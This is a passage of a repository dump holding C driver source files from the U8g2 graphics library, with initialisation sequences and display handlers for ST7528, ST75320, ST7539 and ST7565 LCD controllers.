for the ssd1326 */\n  /* pixel_width = */ 160,\n  /* pixel_height = */ 100\n};\n\nuint8_t u8x8_d_st7528_nhd_c160100(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n    if ( msg == U8X8_MSG_DISPLAY_SETUP_MEMORY )\n    {\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7528_160x100_display_info);\n      return 1;\n    }\n    if ( msg == U8X8_MSG_DISPLAY_INIT )\n    {\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_st7528_nhd_c160100_init_seq);    \n      u8x8_d_st7528_graylevel_init(u8x8, 0x074);\n      return 1;\n    }    \n    return u8x8_d_st7528_generic(u8x8, msg, arg_int, arg_ptr);\n}\n\n/*===============================================================*/\n/* ERC16064, https://www.buydisplay.com/2-inch-lcd-160x64-graphic-module-serial-spi-display-st7528-black-on-white */\n\n/*\n\n#define\tModeSet\t\t\t\t0x38\n#define\tModeSetP1\t\t\t0x64\t//EXT=0\n#define\tModeSetP2\t\t\t0x65\t//EXT=1\n\n#define Display_on \t\t\t0xaf\n#define Display_off \t\t0xae\n\n#define Regulator\t\t\t0x26\n#define Contrast_level\t\t0x81\n#define PowerControll_on1\t0x2c\n#define PowerControll_on2\t0x2e\n#define PowerControll_on3\t0x2f\n\n#define\tLcdBias_9\t\t\t0x54\n#define\tInterOsc_on\t\t\t0xab\n#define\tEntireDisp_on\t\t0xa5\n#define\tEntireDisp_off\t\t0xa4\n#define BoostLevel_5\t\t0x66\n#define\tDuty_set\t\t\t0x48\n#define\tDuty_setP\t\t\t0x40\n#define Start_columnlsb\t\t0x00\n#define Start_columnmsb\t\t0x10\n#define Start_page\t\t\t0xb0\n#define\tStartLine_set\t\t0x40\n//#define\tStartLine_setP\t\t0x00\n#define Set_Initial_COM0\t0x44\n#define Set_Initial_COM0P\t0x12\n\n\n#define Entire_Displa_ON\t0xA5\n#define Entire_Displa_OFF\t0xA4\n\n#define FrcPwm_set\t\t\t0x92\n#define NLineInversion_on\t0x4c\n#define NLineInversion_onP\t0x1f\n#define NLineInversion_off\t0xe4\t\n#define ReverseDisp_on\t\t0xa7\n#define ReverseDisp_off\t\t0xa6\n#define AdcSelect\t\t\t0xa0\n#define ComScanDirection\t0xc8\n\n\tWrite_command(ModeSet);\t\t0x38, 0x64\n\tWrite_command(ModeSetP1);\t\n\tWrite_command(InterOsc_on);\t0xab\n\tWrite_command(Set_Initial_COM0);\t0x44, 0x12\n\tWrite_command(Set_Initial_COM0P);\n\n\tWrite_command(AdcSelect);\t\t0xa0\n\tWrite_command(ComScanDirection);\t0xc8\n\tWrite_command(BoostLevel_5);\t\t0x66\n\tDelay(1000);\n\tWrite_command(LcdBias_9);\t0x54\n\tWrite_command(Duty_set);\t\t0x48, 0x40\n\tWrite_command(Duty_setP);\n\tWrite_command(Regulator);\t0x26\n\tWrite_command(Contrast_level);\t\t0x81, 0x0b\n\tWrite_command(Contrast_levelP);\n\tWrite_command(PowerControll_on1);\t0x2c\n\tDelay(10000);\n\tWrite_command(PowerControll_on2);\t0x2e\n\tDelay(1000);\n\tWrite_command(PowerControll_on3);\t0x2f\n\tDelay(1000);\t\n\tWrite_command(FrcPwm_set);\t0x92\n\n\tWrite_command(ModeSet);\n\tWrite_command(ModeSetP2);\n\tfor(i=0;i<64;i++)\n\t\t{\n\t\tWrite_command(0x80+i);\n\t\tWrite_command(Gray_Parameters[i]);\n\t\t}\n\tWrite_command(ModeSet);\n\tWrite_command(ModeSetP1);\n*/\n\nstatic const uint8_t u8x8_d_st7528_erc16064_init_seq[] = {    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_CA(0x038, 0x064),\t\t/* ext mode 0*/\n  U8X8_C(0x0ab),\t\t                /* start oscillator */\n  U8X8_CA(0x044, 0x012),\t\t/* initial Com0 */\n  U8X8_C(0x0a0),\t\t                /* ADC */\n  U8X8_C(0x0c8),\t\t                /* SHL */  \n  U8X8_C(0x066),\t\t                /* boost level, ERC16064: 0x066 */\n  U8X8_DLY(1),\n  U8X8_C(0x054),\t\t                /* LCD Bias, ERC16064: 0x054 */\n  U8X8_CA(0x048, 0x040),\t\t/* partial display duty ratio */  \n  U8X8_C(0x026),\t\t                /* Select the internal resistance ratio of the regulator resistor */  \n  U8X8_CA(0x081, 0x00b),\t\t/* contrast,  ERC16064: 0x00b */\n  \n  U8X8_C(0x02c),\t\t                /* Power Control */\n  U8X8_DLY(2),\n  U8X8_C(0x02e),\t\t                /* Power Control */\n  U8X8_DLY(2),\n  U8X8_C(0x02f),\t\t                /* Power Control */\n  U8X8_DLY(2),\n  U8X8_C(0x092),\t\t                /* frc and pwm, ERC160624: 0x092 */\n\n  \n\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\nstatic const u8x8_display_info_t u8x8_st7528_erc16064_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 20,\n  /* pre_chip_disable_wait_ns = */ 20,\n  /* reset_pulse_width_ms = */ 5, \t\n  /* post_reset_wait_ms = */ 5, \t\t/**/\n  /* sda_setup_time_ns = */ 20,\t\t/* st7528  */\n  /* sck_pulse_width_ns = */ 25,\t/* st7528 */\n  /* sck_clock_hz = */ 8000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n      /* st7528 actually allows 20MHz according to the datasheet */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 40,\n  /* write_pulse_width_ns = */ 80,\t/* st7528 */\n  /* tile_width = */ 20,\n  /* tile_height = */ 8,\n  /* default_x_offset = */ 0,\t\t/* x_offset is used as y offset for the ssd1326 */\n  /* flipmode_x_offset = */ 0,\t\t/* x_offset is used as y offset for the ssd1326 */\n  /* pixel_width = */ 160,\n  /* pixel_height = */ 64\n};\n\n\nuint8_t u8x8_d_st7528_erc16064(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n    if ( msg == U8X8_MSG_DISPLAY_SETUP_MEMORY )\n    {\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7528_erc16064_display_info);\n      return 1;\n    }\n    if ( msg == U8X8_MSG_DISPLAY_INIT )\n    {\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_st7528_erc16064_init_seq);    \n      u8x8_d_st7528_graylevel_init(u8x8, 0x064);\n      return 1;\n    }    \n    return u8x8_d_st7528_generic(u8x8, msg, arg_int, arg_ptr);\n}\n\n\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_d_st75320.c",
    "content": "/*\n\n  u8x8_d_st75320.c\n\n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2019, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n\n\n  ST75320: 320x240 monochrome LCD\n  \n  https://github.com/olikraus/u8g2/issues/921\n\n*/\n\n\n#include \"u8x8.h\"\n\nstatic const uint8_t u8x8_d_st75320_jlx320240_powersave0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0af),\t\t                /* display on */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_st75320_jlx320240_powersave1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_st75320_jlx320240_flip0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_CA(0xC4, 0x02), \t\t\t/* COM Output Status, Bits 0 & 1 */\n  U8X8_C(0xA1), \t\t\t\t/* Column Address Direction: Bit 0 */\n  //U8X8_C(0x0a1),\t\t\t\t/* segment remap a0/a1*/\n  //U8X8_C(0x0c8),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_st75320_jlx320240_flip1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  //U8X8_C(0x0a0),\t\t\t\t/* segment remap a0/a1*/\n  //U8X8_C(0x0c0),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  U8X8_CA(0xC4, 0x03), \t\t\t/* COM Output Status, Bits 0 & 1 */\n  U8X8_C(0xA0), \t\t\t\t/* Column Address Direction: Bit 0 */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\n\n\n/*===================================================*/\n\nstatic uint8_t u8x8_d_st75320_generic(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint16_t x;\n  uint8_t c;\n  uint8_t *ptr;\n  switch(msg)\n  {\n    /* handled by the calling function\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st75320_jlx320240_display_info);\n      break;\n    */\n    /* handled by the calling function\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_st75320_jlx320240_init_seq);    \n      break;\n    */\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if ( arg_int == 0 )\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_st75320_jlx320240_powersave0_seq);\n      else\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_st75320_jlx320240_powersave1_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n      if ( arg_int == 0 )\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_st75320_jlx320240_flip0_seq);\n\tu8x8->x_offset = u8x8->display_info->default_x_offset;\n      }\n      else\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_st75320_jlx320240_flip1_seq);\n\tu8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n      }\n      break;\n#ifdef U8X8_WITH_SET_CONTRAST\n    case U8X8_MSG_DISPLAY_SET_CONTRAST:\n      u8x8_cad_StartTransfer(u8x8);\n      u8x8_cad_SendCmd(u8x8, 0x081 );\n      u8x8_cad_SendArg(u8x8, arg_int<<2 );\t\n      u8x8_cad_SendArg(u8x8, arg_int>>6 );\t\n      u8x8_cad_EndTransfer(u8x8);\n      break;\n#endif\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      x = ((u8x8_tile_t *)arg_ptr)->x_pos;    \n      x *= 8;\n      x += u8x8->x_offset;\n\n      u8x8_cad_StartTransfer(u8x8);\n    \n      u8x8_cad_SendCmd(u8x8, 0x013);\n      u8x8_cad_SendArg(u8x8, (x>>8) );\n      u8x8_cad_SendArg(u8x8, (x&255) );\n      u8x8_cad_SendCmd(u8x8, 0x0b1 ); \n      u8x8_cad_SendArg(u8x8, (((u8x8_tile_t *)arg_ptr)->y_pos)); \n\n\n      u8x8_cad_SendCmd(u8x8, 0x01d );\t\t// write data \n    \n      do\n      {\n        c = ((u8x8_tile_t *)arg_ptr)->cnt;\n        ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n        /* SendData can not handle more than 255 bytes */\n        if ( c > 31 )\n        {\n          u8x8_cad_SendData(u8x8, 248, ptr); \t/* 31*8=248 */\n          ptr+=248;\n          c -= 31;\n        }\n        \n        u8x8_cad_SendData(u8x8, c*8, ptr); \t\n        arg_int--;\n      } while( arg_int > 0 );\n\n      \n      u8x8_cad_EndTransfer(u8x8);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n/*===================================================*/\n\n\n/* QT-2832TSWUG02/ZJY-2832TSWZG02 */\nstatic const uint8_t u8x8_d_st75320_jlx320240_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  \n  U8X8_C(0xAE), \t\t\t\t// Display OFF\n  U8X8_CA(0xEA, 0x00), \t\t\t// Power Discharge Control, Discharge OFF\n  U8X8_C(0xA8), \t\t\t\t// sleep out\n  U8X8_C(0xAB), \t\t\t\t// OSC ON\n  U8X8_C(0x69), \t\t\t\t// Temperature Detection ON\n  U8X8_C(0x4E), \t\t\t\t// TC Setting\n  U8X8_A8(0xff, 0x44, 0x12, 0x11,  0x11, 0x11, 0x22, 0x23),\n  U8X8_CAA(0x39, 0x00, 0x00), \t//TC Flag\n  \n  \n  U8X8_CA(0x2B, 0x00), \t\t\t// Frame Rate Level\n  U8X8_CAA(0x5F, 0x66, 0x66), \t// Set Frame Frequency, fFR=80Hz in all temperature range\n  U8X8_CAAA(0xEC, 0x19, 0x64, 0x6e), // FR Compensation Temp. Range, TA = -15 degree, TB = 60 degree, TC = 70 degree\n  U8X8_CAA(0xED, 0x04, 0x04), \t// Temp. Hysteresis Value (thermal sensitivity)\n  U8X8_C(0xA6), \t\t\t\t// Display Inverse OFF\n  U8X8_C(0xA4), \t\t\t\t// Disable Display All Pixel ON\n\n  U8X8_CA(0xC4, 0x02), \t\t\t// COM Output Status  \n  U8X8_C(0xA1), \t\t\t\t// Column Address Direction: MX=0\n  \n  U8X8_CAA(0x6D, 0x07, 0x00), \t// Display Area, Duty = 1/240 duty, Start Group = 1\n  U8X8_C(0x84), \t\t\t\t// Display Data Input Direction: Column\n  U8X8_CA(0x36, 0x1e), \t\t\t// Set N-Line\n  U8X8_C(0xE4), \t\t\t\t// N-Line On\n  U8X8_CA(0xE7, 0x19), \t\t\t// LCD Drive Method //NLFR=1//\n\n  U8X8_CAA(0x81, 0x4f, 0x01), \t// OX81: Set EV=64h, 0..255, 0..3\n  U8X8_CA(0xA2, 0x0a), \t\t\t// BIAS //1/16 BIAS\n  U8X8_CA(0x25, 0x020), \t\t// Power Control //AVDD ON\n  U8X8_DLY(10),\n  U8X8_CA(0x25, 0x60), \t\t\t// Power Control//AVDD, MV3 & NAVDD ON\n  U8X8_DLY(10),\n  U8X8_CA(0x25, 0x70), \t\t\t// Power Control //AVDD, MV3, NAVDD & V3 ON\n  U8X8_DLY(10),\n  U8X8_CA(0x25, 0x78), \t\t\t// Power Control//AVDD, MV3, NAVDD, V3 & VPF ON\n  U8X8_DLY(10),\n  U8X8_CA(0x25, 0x7c), \t\t\t// Power Control//AVDD, MV3, NAVDD, V3, VPF & VNF ON\n  U8X8_DLY(10),\n  U8X8_CA(0x25, 0x7e), \t\t\t// Power Control//VOUT, AVDD, MV3, NAVDD, V3, VPF & VNF ON\n  U8X8_DLY(10),\n  U8X8_CA(0x25, 0x7f), \t\t\t// Power Control/VOUT, AVDD, MV3, NAVDD, V3, VPF & VNF ON\n  U8X8_DLY(10),\n  //U8X8_C(0xaf); //Display ON  \n    \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()           \t\t\t/* end of sequence */\n};\n\n\n\n\nstatic const u8x8_display_info_t u8x8_st75320_jlx320240_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 20,\n  /* pre_chip_disable_wait_ns = */ 20,\n  /* reset_pulse_width_ms = */ 5, \t\n  /* post_reset_wait_ms = */ 5, \t\t/**/\n  /* sda_setup_time_ns = */ 20,\t\t/* */\n  /* sck_pulse_width_ns = */ 40,\t/*  */\n  /* sck_clock_hz = */ 4000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\t/* 400KHz */\n  /* data_setup_time_ns = */ 15,\n  /* write_pulse_width_ns = */ 70,\t\n  /* tile_width = */ 40,\n  /* tile_height = */ 30,\n  /* default_x_offset = */ 0,\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 320,\n  /* pixel_height = */ 240\n};\n\nuint8_t u8x8_d_st75320_jlx320240(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n    \n  if ( u8x8_d_st75320_generic(u8x8, msg, arg_int, arg_ptr) != 0 )\n    return 1;\n  \n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_st75320_jlx320240_init_seq);    \n      break;\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st75320_jlx320240_display_info);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_d_st7539.c",
    "content": "/*\n\n  u8x8_d_st7539.c\n  \n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2023, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n\n  \n*/\n#include \"u8x8.h\"\n\n\n\n\nstatic const uint8_t u8x8_d_st7539_192x64_powersave0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0af),\t\t                /* display on */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_st7539_192x64_powersave1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_st7539_192x64_flip0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0c2),\t\t\t\t/* bit 1: MX, bit 2: MY */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_st7539_192x64_flip1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0c4),\t\t\t\t/* bit 1: MX, bit 2: MY */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\nstatic const u8x8_display_info_t u8x8_st7539_192x64_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 1,\t/* st7539 datasheet, page 46 */\n  /* pre_chip_disable_wait_ns = */ 5,\t/* st7539 datasheet, page 46 */\n  /* reset_pulse_width_ms = */ 1, \n  /* post_reset_wait_ms = */ 6, \n  /* sda_setup_time_ns = */ 12,\t\t/* st7539 datasheet, page 44 */\n  /* sck_pulse_width_ns = */ 15,\t/* st7539 datasheet, page 44 */\n  /* sck_clock_hz = */ 2000000UL,\t/* */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 1,\n  /* data_setup_time_ns = */ 60,\t/* st7539 datasheet, page 43 */\n  /* write_pulse_width_ns = */ 80,\t/* st7539 datasheet, page 43 */\n  /* tile_width = */ 24,\t\t\n  /* tile_height = */ 8,\n  /* default_x_offset = */ 0,\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 192,\n  /* pixel_height = */ 64\n};\n\nstatic const uint8_t u8x8_d_st7539_192x64_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  \n  U8X8_C(0x0e2),            \t\t\t/* soft reset */\n  U8X8_C(0x0a0),            \t\t\t/* 76Hz FPS*/\n  U8X8_C(0x0eb),            \t\t\t/* LCD Bias: 0xe8: 6, 0xe9: 7, 0xea: 8, 0xeb: 9 */\n  U8X8_C(0x0c2),\t\t                /* RAM mapping ctrl */\n  U8X8_CA(0x081, 145),\t\t/* set contrast */\n  U8X8_C(0x02e),            \t\t\t/* LCD Load + Internal Charge Pump (default: 0x2e) */\t\n  U8X8_C(0x040),\t\t                /* set display start line to 0 */\n  \n  U8X8_C(0x0a6),\t\t                /* normal display */\n   \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n// https://github.com/olikraus/u8g2/issues/2146\n\nuint8_t u8x8_d_st7539_192x64(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t x, c;\n  uint8_t *ptr;\n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7539_192x64_display_info);\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_st7539_192x64_init_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if ( arg_int == 0 )\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_st7539_192x64_powersave0_seq);\n      else\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_st7539_192x64_powersave1_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n      if ( arg_int == 0 )\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_st7539_192x64_flip0_seq);\n\tu8x8->x_offset = u8x8->display_info->default_x_offset;\n      }\n      else\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_st7539_192x64_flip1_seq);\n\tu8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n      }\t\n      break;\n#ifdef U8X8_WITH_SET_CONTRAST\n    case U8X8_MSG_DISPLAY_SET_CONTRAST:\n      u8x8_cad_StartTransfer(u8x8);\n      u8x8_cad_SendCmd(u8x8, 0x081 );\n      u8x8_cad_SendArg(u8x8, arg_int );\t/* st7539 has range from 0 to 255 */\n      u8x8_cad_EndTransfer(u8x8);\n      break;\n#endif\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      u8x8_cad_StartTransfer(u8x8);\n    \n      x = ((u8x8_tile_t *)arg_ptr)->x_pos;\n      x *= 8;\n      x += u8x8->x_offset;\n      u8x8_cad_SendCmd(u8x8, 0x010 | (x>>4) );\n      u8x8_cad_SendCmd(u8x8, 0x000 | ((x&15)));\n      u8x8_cad_SendCmd(u8x8, 0x0b0 | (((u8x8_tile_t *)arg_ptr)->y_pos));\n    \n      c = ((u8x8_tile_t *)arg_ptr)->cnt;\n      c *= 8;\n      ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n      do\n      {\n\tu8x8_cad_SendData(u8x8, c, ptr);\t/* note: SendData can not handle more than 255 bytes */\n\targ_int--;\n      } while( arg_int > 0 );\n      \n      u8x8_cad_EndTransfer(u8x8);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_d_st7565.c",
    "content": "/*\n\n  u8x8_d_st7565.c\n  also includes support for nt7534 \n  \n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2016, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n\n  \n*/\n#include \"u8x8.h\"\n\n\n\n\n\nstatic const uint8_t u8x8_d_st7565_powersave0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0a4),\t\t                /* all pixel off, issue 142 */\n  U8X8_C(0x0af),\t\t                /* display on */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_st7565_powersave1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_C(0x0a5),\t\t                /* enter powersafe: all pixel on, issue 142 */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_st7565_flip0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0a1),\t\t\t\t/* segment remap a0/a1*/\n  U8X8_C(0x0c0),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_st7565_flip1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0a0),\t\t\t\t/* segment remap a0/a1*/\n  U8X8_C(0x0c8),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_st7565_zflip0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  